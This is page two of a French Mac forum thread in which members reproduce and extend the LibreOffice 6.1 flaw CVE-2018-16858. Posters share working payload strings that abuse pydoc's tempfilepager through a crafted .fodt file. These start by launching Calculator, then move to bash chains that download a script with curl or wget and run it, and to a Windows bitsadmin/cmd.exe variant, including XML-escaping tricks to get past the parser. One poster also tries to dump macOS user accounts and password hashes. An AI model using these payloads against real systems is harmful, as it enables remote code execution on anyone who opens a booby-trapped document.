IPB

Bienvenue invité ( Connexion | Inscription )

2 Pages V  < 1 2  
Reply to this topicStart new topic
> Une faille de sécurité dans LibreOffice et Open Office, Réactions à la publication du 07/02/2019
Options
SartMatt
posté 9 Feb 2019, 04:03
Message #31


Macbidouilleur d'Or !
*****

Groupe : Rédacteurs
Messages : 30 464
Inscrit : 15 Nov 2005
Membre no 49 996



Citation (zero @ 9 Feb 2019, 03:49) *
D'ailleurs, elle ne semble pas être touchée par cette faille. Depuis j'ai bien essayé quelques nouvelles versions mais je suis toujours revenu à la même.
À priori, elle est affectée par la version "light" de la faille, celle qui ne permet que d'exécuter des fonctions Python sans paramètre obligatoire. Donc pas de risque d'exécution de n'importe quel commande. Cette version de la faille date probablement de l'intégration du support OpenDocument 1.2, qui a déjà quelques années. Le fait qu'OOo soit affecté aussi peut même laisser supposer que la faille date d'avant le fork (il est toutefois possible que la faille soit dans du code post-fork que l'une des suites aurait repris dans l'autre, ou encore que les deux implémentations soient spécifiques mais toutes deux affectées par la même erreur).

Par contre elle n'est effectivement pas touchée par la faille permettant d'exécuter une commande externe, ça c'est spécifique à Libre Office 6.1, ça ne touche ni les versions antérieures de LO, ni les différentes versions d'OOo.


--------------------
Go to the top of the page
 
+Quote Post
baron
posté 9 Feb 2019, 04:24
Message #32


Macbidouilleur d'Or !
*****

Groupe : Modérateurs
Messages : 12 347
Inscrit : 22 Jul 2004
Lieu : Louvain-la-Neuve (Gaule Gelbique)
Membre no 21 291



Citation (SartMatt @ 9 Feb 2019, 03:27) *
[…] on aurait tous gagné du temps (surtout moi... s'il ne m'a pas fallu plus de 5 minutes pour faire marcher la faille sous macOS, ça a été une autre histoire pour faire marcher macOS dans mon Virtualbox...)

Ce qui est surtout pénible, c'est de faire avancer marc_ossleep.gif


--------------------
MacBook Pro 15’’ 2010 Core i5 2,53 GHz, 4 Go/SSD Samsung 850EVO 500 Go – Mac OSX 10.6.8  Power Macintosh G3 beige de bureau, rev.1 @ 233MHz, 288 Mo/4Go – MacOS 9.1 — + carte PCI IDE/ATA Tempo 66 Acard 6260 avec HD interne Maxtor 80 Go + graveur interne CDRW/DVD LG GCC-4520B + tablette A4 Wacom UD-0608-A + LaCie ElectronBlueIV 19" + HP ScanJet 6100C   Routeur/modem ADSL Trendnet TW100-BRM504 > B-Box 3 + HP LaserJet 4000 N  
La recherche dans MacBidouille vous paraît obscure ? J'ai rédigé une proposition de FAQ. Le moteur logiciel a un peu changé depuis mais ça peut aider quand même.
Les corsaires mettent en berne…
Go to the top of the page
 
+Quote Post
QuarkDark
posté 9 Feb 2019, 13:10
Message #33


Adepte de Macbidouille
*

Groupe : Membres
Messages : 167
Inscrit : 29 Aug 2010
Membre no 158 405



Citation (SartMatt @ 9 Feb 2019, 03:27) *
Ensuite, pour ceux que ça intéresse, le fichier que j'ai créé pour exploiter la faille, en partant du fichier d'Alex Inführ pour Windows : https://share.lurl.eu/macb/CVE-2018-16858-m...calculator.fodt

Fichier à ouvrir avec Libre Office 6.1.0 à 6.1.2 pour que ça marche (personnellement, j'ai utilisé Libre Office 6.1.2.1).

Salut,

Merci pour toutes ces explications et le fichier de test.

J'ai essayé sur une version antérieure (5.2.6.2) et j'obtiens ce message d'erreur :

CODE
A Scripting Framework error occurred while running the Python script vnd.sun.star.script:../../../Frameworks/LibreOfficePython.framework/Versions/3.5/lib/python3.5/pydoc.py$tempfilepager(1, /Applications/Calculator.app/Contents/MacOS/Calculator )?language=Python&location=share.

Message: <class 'KeyError'>: 'tempfilepager(1, /Applications/Calculator.app/Contents/MacOS/Calculator )'
/Applications/LibreOffice.app/Contents/Resources/pythonscript.py:996 in function getScript() [func = mod.__dict__[ funcName ]]


D'après ce que j'ai compris le problème viendrait du fait que l'on ne peut pas passer de paramètres sur les vieilles versions mais elle sont censées être tout de même vulnérables (cf. https://www.certa.ssi.gouv.fr/avis/CERTFR-2019-AVI-047/).
Je ne comprends pas quel est le paramètre dans la commande de l'exemple du calculator (celui qui fait que cela ne marche que après les versions 6.1.0).

J'ai essayé de reproduire l'exploit sur ma vieille version mais je n'ai pas trouvé comment faire pour modifier "pythonSamples|TableSample.py$createTable" par "../../../Frameworks/LibreOfficePython.framework/Versions/3.5/lib/python3.5/pydoc.py$tempfilepager(1, /Applications/Calculator.app/Contents/MacOS/Calculator )".
Lorsque je suis dans la fenêtre pour assigner la macro je ne sais pas comment faire pour modifier l'action du mouse over object.

Peux-tu m'aider ?
Go to the top of the page
 
+Quote Post
SartMatt
posté 9 Feb 2019, 14:12
Message #34


Macbidouilleur d'Or !
*****

Groupe : Rédacteurs
Messages : 30 464
Inscrit : 15 Nov 2005
Membre no 49 996



Citation (QuarkDark @ 9 Feb 2019, 13:10) *
D'après ce que j'ai compris le problème viendrait du fait que l'on ne peut pas passer de paramètres sur les vieilles versions mais elle sont censées être tout de même vulnérables (cf. https://www.certa.ssi.gouv.fr/avis/CERTFR-2019-AVI-047/).
Je ne comprends pas quel est le paramètre dans la commande de l'exemple du calculator (celui qui fait que cela ne marche que après les versions 6.1.0).
Il y a deux paramètres qui sont passés à la fonction tempfilepager, le 1 et le chemin de l'exécutable Calculator :

../../../Frameworks/LibreOfficePython.framework/Versions/3.5/lib/python3.5/pydoc.py$tempfilepager(1, /Applications/Calculator.app/Contents/MacOS/Calculator )

Pour info, ce que fait la fonction , c'est qu'elle crée un fichier temporaire, dans lequel elle écrit ce qu'elle a reçu en premier paramètre puis appelle la commande donnée en second paramètre en lui passant en paramètre le nom du fichier créé.

Dans les versions antérieures à la 6.1, on ne peut donner qu'un nom de fonction (par exemple createTable), ce qui limite grandement les possibilité d'exploitation, puisqu'on a très peu de contrôle sur ce qu'on fait, et on a également accès à beaucoup moins de fonctions (puisqu'on ne peut pas appeler une fonction qui a des paramètres obligatoires, comme tempfilepager)

Citation (QuarkDark @ 9 Feb 2019, 13:10) *
Lorsque je suis dans la fenêtre pour assigner la macro je ne sais pas comment faire pour modifier l'action du mouse over object.
Pour ma part je n'utilise pas l'interface graphique. J'ouvre le fichier fodt avec un éditeur de texte et je modifie à la main. Je ne sais pas si avec l'interface graphique on a autant de souplesse que ce qu'il faut pour exploiter la faille.


--------------------
Go to the top of the page
 
+Quote Post
QuarkDark
posté 9 Feb 2019, 14:27
Message #35


Adepte de Macbidouille
*

Groupe : Membres
Messages : 167
Inscrit : 29 Aug 2010
Membre no 158 405



Citation (SartMatt @ 9 Feb 2019, 14:12) *
Citation (QuarkDark @ 9 Feb 2019, 13:10) *
D'après ce que j'ai compris le problème viendrait du fait que l'on ne peut pas passer de paramètres sur les vieilles versions mais elle sont censées être tout de même vulnérables (cf. https://www.certa.ssi.gouv.fr/avis/CERTFR-2019-AVI-047/).
Je ne comprends pas quel est le paramètre dans la commande de l'exemple du calculator (celui qui fait que cela ne marche que après les versions 6.1.0).
Il y a deux paramètres qui sont passés à la fonction tempfilepager, le 1 et le chemin de l'exécutable Calculator :

../../../Frameworks/LibreOfficePython.framework/Versions/3.5/lib/python3.5/pydoc.py$tempfilepager(1, /Applications/Calculator.app/Contents/MacOS/Calculator )

Pour info, ce que fait la fonction , c'est qu'elle crée un fichier temporaire, dans lequel elle écrit ce qu'elle a reçu en premier paramètre puis appelle la commande donnée en second paramètre en lui passant en paramètre le nom du fichier créé.

Dans les versions antérieures à la 6.1, on ne peut donner qu'un nom de fonction (par exemple createTable), ce qui limite grandement les possibilité d'exploitation, puisqu'on a très peu de contrôle sur ce qu'on fait, et on a également accès à beaucoup moins de fonctions (puisqu'on ne peut pas appeler une fonction qui a des paramètres obligatoires, comme tempfilepager)

Citation (QuarkDark @ 9 Feb 2019, 13:10) *
Lorsque je suis dans la fenêtre pour assigner la macro je ne sais pas comment faire pour modifier l'action du mouse over object.
Pour ma part je n'utilise pas l'interface graphique. J'ouvre le fichier fodt avec un éditeur de texte et je modifie à la main. Je ne sais pas si avec l'interface graphique on a autant de souplesse que ce qu'il faut pour exploiter la faille.

Merci pour les explications, je vais essayer avec une 6.1.0 pour voir.

En fait j'avais essayé en ouvrant le fichier avec vim pour trouver l'endroit de la macro mais comme un boulet j'avais enregistré le fichier en .odt.
En cherchant j'ai vu que c'était pareil qu'un zip donc j'ai unzipé modifié rezipé, et là en voyant ton message je viens d'essayer, ce coup ci en enregistrant en .fodt et j'ai réalisé que je me suis bien compliqué la vie pour rien ^^
Enfin j'en ai appris plus sur le format odt au passage.
Go to the top of the page
 
+Quote Post
SartMatt
posté 9 Feb 2019, 14:36
Message #36


Macbidouilleur d'Or !
*****

Groupe : Rédacteurs
Messages : 30 464
Inscrit : 15 Nov 2005
Membre no 49 996



Citation (QuarkDark @ 9 Feb 2019, 14:27) *
Enfin j'en ai appris plus sur le format odt au passage.
C'est ça qui est bien avec ce genre de faille, quand on se penche dessus, on apprend des choses :-)

Perso j'étais comme toi, je ne savais pas non plus qu'il existait des fichiers OpenDocument non compressés. Et c'est bon à savoir notamment quand on a des fichiers ODT dans un repo SVN ou GIT, c'est bien plus intéressant de ne pas les compresser pour avoir des diff plus petits, et surtout, compréhensibles par l'humain moyen !


--------------------
Go to the top of the page
 
+Quote Post
QuarkDark
posté 9 Feb 2019, 16:58
Message #37


Adepte de Macbidouille
*

Groupe : Membres
Messages : 167
Inscrit : 29 Aug 2010
Membre no 158 405



Citation (SartMatt @ 8 Feb 2019, 19:58) *
Demain j'essaye de jouer avec wget pour voir s'il y a moyen d'importer du code sur la machine puis de l'exécuter.

J'ai pas réussi à faire marcher wget pourtant j'y ai passé du temps.

J'ai remarqué qu'on ne peut pas utiliser && pour chaîner des commandes, le fichier refuse de s'ouvrir si on fait ça.

Par contre après avoir galérer en essayant de chaîner avec des ; et des | sans comprendre pourquoi des fois ça marchait d'autres pas, j'ai changé d'approche : avec curl tout marche nickel.

J'ai réussi à dl un script, le rendre éxécutable et le faire tourner, en effet elle peut faire très mal cette faille.

On peut récupérer la liste des utilisateurs, d'ailleurs j'ai pas trouvé comment faire pour récupérer le hash des mots de passe.
En fouinant j'ai vu qu'il n'y a pas d'etc/shadow sur mac os mais que ça marche avec dscl, j'ai récupéré les utilisateurs avec mais aucune idée d'où sont les hashs.
Go to the top of the page
 
+Quote Post
SartMatt
posté 9 Feb 2019, 20:06
Message #38


Macbidouilleur d'Or !
*****

Groupe : Rédacteurs
Messages : 30 464
Inscrit : 15 Nov 2005
Membre no 49 996



Citation (QuarkDark @ 9 Feb 2019, 16:58) *
J'ai pas réussi à faire marcher wget pourtant j'y ai passé du temps.
J'ai réussi, en faisant une commande passée à bash :

Code
tempfilepager(1, bash -c 'cd /mnt/y; wget https://www.chiark.greenend.org.uk/~sgtatham/puzzles/tracks.exe; ./tracks.exe' )

Sur un Windows avec bash, ça va télécharger et exécuter un petit jeu de la Simon Statham's Puzzle Collection.

Citation (QuarkDark @ 9 Feb 2019, 16:58) *
J'ai remarqué qu'on ne peut pas utiliser && pour chaîner des commandes, le fichier refuse de s'ouvrir si on fait ça.
Même constant. En éditant le fichier avec Notepad++, je constate une erreur de parsing XML dès que je met ne serait ce qu'un seul &. J'ai essayé du coup d'encoder le && en entités XML (&amp;&amp; donc), ça ne fait plus d'erreur et le fichier s'ouvre bien dans LO, mais ma commande ne se lance pas sad.gif

J'ai essayé du coup de remplacer le 1 par ma commande, pour mettre la commande dans un fichier et voir comment LO traduit ces &amp;&amp;. Il les traduit bien en && dans le fichier...

Du coup j'ai essayé ça :
Code
tempfilepager(cd /mnt/y &amp;&amp; wget https://www.chiark.greenend.org.uk/~sgtatham/puzzles/tracks.exe &amp;&amp; ./tracks.exe, bash )


Théoriquement, ça met la commande dans un fichier, puis ça appelle bash avec ce fichier en paramètre, ce qui doit exécuter les commandes... Manque de chance le chemin qui est passé est dans le système de fichiers Windows (donc en x:\...\) alors que bash attend un chemin dans le système de fichier virtuel Linux (sous la forme /mnt/x/...). Du coup sur un système non hybride, comme Linux ou macOS, ça doit pouvoir marcher tel quel.

Je continue de creuser :-)

EDIT : Tout simplement :
Code
tempfilepager(cd /mnt/y &amp;&amp; wget https://www.chiark.greenend.org.uk/~sgtatham/puzzles/tracks.exe &amp;&amp; ./tracks.exe, bash -i &lt; )


Ce message a été modifié par SartMatt - 10 Feb 2019, 01:00.


--------------------
Go to the top of the page
 
+Quote Post
QuarkDark
posté 10 Feb 2019, 02:19
Message #39


Adepte de Macbidouille
*

Groupe : Membres
Messages : 167
Inscrit : 29 Aug 2010
Membre no 158 405



Citation (SartMatt @ 9 Feb 2019, 20:06) *
J'ai réussi, en faisant une commande passée à bash :

Ce qui est bizarre c'est que cette commande marche pas :

tempfilepager(1, bash -c 'wget -d /tmp/ https://server/script_odt.sh ; chmod +x /tmp/script_odt.sh ; /tmp/script_odt.sh’)

alors que celle-ci oui

tempfilepager(1, bash -c 'curl https://server/script_odt.sh > /tmp/script_odt.sh; chmod +x /tmp/script_odt.sh; /tmp/script_odt.sh')

Et en magouillant dans tous les sens en ajoutant des commandes avant ou après ça marchait plus ou moins avec wget.
C'est-à-dire que j'ai pu dans certains cas à coup de | ou de ; selon l'orde pouvoir dl le script mais jamais le rendre éxécutable et lancer.
Je n'ai pas trouvé de logique, quand je prennais la commande "bash -c 'wget blabla'" dans le terminal ça marchait nickel mais dans le fichier odt impossible.
Alors qu'avec curl ça a marché du premier coup.
Je teste tout sous OSX mais je vais tester sous debian voir si ça donne la même chose.

Comme tu l'as remarqué en creusant le bordel du && le parsing doit être assez particulier je pense.

Je testerai plus en détail demain, je veux bien que tu me tiennes au courant de tes résulats, elle est sympa à explorer cette faille je trouve.

edit: je viens de voir ton edit je testerai ça demain wink.gif

Ce message a été modifié par QuarkDark - 10 Feb 2019, 02:24.
Go to the top of the page
 
+Quote Post
kwak-kwak
posté 10 Feb 2019, 08:47
Message #40


Macbidouilleur de vermeil !
****

Groupe : Membres
Messages : 1 406
Inscrit : 28 Jan 2010
Membre no 149 363



Citation (QuarkDark @ 10 Feb 2019, 03:19) *
Citation (SartMatt @ 9 Feb 2019, 20:06) *
J'ai réussi, en faisant une commande passée à bash :

Ce qui est bizarre c'est que cette commande marche pas :

tempfilepager(1, bash -c 'wget -d /tmp/ https://server/script_odt.sh ; chmod +x /tmp/script_odt.sh ; /tmp/script_odt.sh)

alors que celle-ci oui

tempfilepager(1, bash -c 'curl https://server/script_odt.sh > /tmp/script_odt.sh; chmod +x /tmp/script_odt.sh; /tmp/script_odt.sh')

Le " ' " n'est pas le même en fin de chaine ( ’ et ' )

Il y a une confusion entre :
- Apostrophe Oo'Oo U+0027 = 39 Unicode 1.1.0 0x27 = 39 0x27 = 39 &apos; apostrophe
- Guillemet-apostrophe Oo’Oo U+2019 = 8217 Unicode 1.1.0 0x92 = 146 0xD5 = 213 &rsquo; right single quotation mark
Le clavier azerty de base ne proposant pas le choix entre les deux caractères, je suppose que ton éditeur de texte s'amuse un peu sur le transcodage des caractères.

(Si c'est le problème, il y a de quoi pousser un hurlement rolleyes.gif tongue.gif )

Ce message a été modifié par kwak-kwak - 10 Feb 2019, 09:00.
Go to the top of the page
 
+Quote Post
SartMatt
posté 10 Feb 2019, 12:02
Message #41


Macbidouilleur d'Or !
*****

Groupe : Rédacteurs
Messages : 30 464
Inscrit : 15 Nov 2005
Membre no 49 996



Citation (QuarkDark @ 10 Feb 2019, 02:19) *
Je teste tout sous OSX mais je vais tester sous debian voir si ça donne la même chose.
Attention, sous Debian ça pourrait éventuellement ne pas marcher à cause de l'utilisation de /tmp.
Une des préconisations de sécurité courante sous Linux, c'est de mettre /tmp sur un filesystem globalement non exécutable.
Après, je sais pas si cette bonne pratique est prise en compte par les distributions courantes aujourd'hui, mais il y a un risque.

Citation (QuarkDark @ 10 Feb 2019, 02:19) *
Je testerai plus en détail demain, je veux bien que tu me tiennes au courant de tes résulats, elle est sympa à explorer cette faille je trouve.
Dernier petit truc qu'il me restait à faire : réussir à exécuter du code distant sur une machine Windows SANS Bash (soit l'écrasante majorité...).

J'ai trouvé ici des alternatives à wget natives à Windows. Après, il y a quelques subtilités de cmd.exe à gérer... Si on lui passe un fichier en paramètre dont l'extension n'est pas .bat ou .cmd, il ne l'exécute pas. Donc il faut passer par l'entrée standard. Mais sur l'entrée standard, contrairement à bash il ne lance pas l'exécution s'il n'y a pas de retour à la ligne, même quand l'entrée est fermée. Donc il faut ajouter un retour à la ligne à la fin de la commande... Et mettre quelque chose après ce retour à la ligne sinon LibreOffice le coupe !

Mais au final, j'ai quand même quelque chose qui marche :
Code
tempfilepager(bitsadmin /transfer job https://www.chiark.greenend.org.uk/~sgtatham/puzzles/tracks.exe y:\tracks.exe &amp;&amp;
  y:\tracks.exe & #10;& #13; rem, cmd.exe &lt; )
(sans espaces entre les & et les #... mais si je les met pas ici le forum supprime le tout...)

Juste un petit défaut tout de même, j'ai une erreur Python dans LO. cmd s'arrête immédiatement après avoir lancé Tracks, et ça fait une erreur côté LO quand il essaye de supprimer le fichier temporaire, parce qu'il est encore utilisé (je comprends pas trop par qui, Tracks n'est pas censé l'utiliser...). Mais comme l'erreur survient après l'exécution, de toute façon à ce stade le mal est fait, l'utilisateur ne peut plus empêcher l'infection si le programme est malicieux.

J'ai la même erreur avec la solution passant par bash si je ferme la fenêtre de bash avant celle de Tracks.

Pour ma part, je m'arrête là. Je me suis bien amusé, mais il est temps de passer à autre chose, vu que j'ai atteint les deux objectifs que j'avais :
* voir si on peut utiliser la faille pour exécuter du code distant,
* faire taire le clown d'au-dessus en montrant qu'elle est exploitable sur macOS.


--------------------
Go to the top of the page
 
+Quote Post
malloc
posté 10 Feb 2019, 12:38
Message #42


Macbidouilleur d'argent !
***

Groupe : Membres
Messages : 720
Inscrit : 5 Sep 2004
Membre no 23 103



Merci SartMatt!

Les flemmards (dont je fais partie) te remercient pour tes tests exhaustifs!

Ce message a été modifié par malloc - 10 Feb 2019, 12:38.
Go to the top of the page
 
+Quote Post
QuarkDark
posté 10 Feb 2019, 14:36
Message #43


Adepte de Macbidouille
*

Groupe : Membres
Messages : 167
Inscrit : 29 Aug 2010
Membre no 158 405



Citation (kwak-kwak @ 10 Feb 2019, 08:47) *
Le " ' " n'est pas le même en fin de chaine ( ’ et ' )

Il y a une confusion entre :
- Apostrophe Oo'Oo U+0027 = 39 Unicode 1.1.0 0x27 = 39 0x27 = 39 &apos; apostrophe
- Guillemet-apostrophe Oo’Oo U+2019 = 8217 Unicode 1.1.0 0x92 = 146 0xD5 = 213 &rsquo; right single quotation mark
Le clavier azerty de base ne proposant pas le choix entre les deux caractères, je suppose que ton éditeur de texte s'amuse un peu sur le transcodage des caractères.

(Si c'est le problème, il y a de quoi pousser un hurlement rolleyes.gif tongue.gif )

Merci de l'info mais malheureusement ce n'était pas ça.
Go to the top of the page
 
+Quote Post
Gallows Pole
posté 12 Feb 2019, 05:39
Message #44


Macbidouilleur de vermeil !
****

Groupe : Membres
Messages : 1 104
Inscrit : 3 Feb 2004
Membre no 14 248



Salut,

Le développeur marc_os est demandé de toute urgence à l'accueil du forum pour exposer son point de vue sur la faille et indiquer qu'elle ne fonctionne pas sous mac_os...

Tic tac...
Tic tac...
Tic tac...

Le petit marc_os semble s'être perdu dans les posts...

A+
Go to the top of the page
 
+Quote Post

2 Pages V  < 1 2
Reply to this topicStart new topic
1 utilisateur(s) sur ce sujet (1 invité(s) et 0 utilisateur(s) anonyme(s))
0 membre(s) :

 



Nous sommes le : 22nd February 2019 - 05:45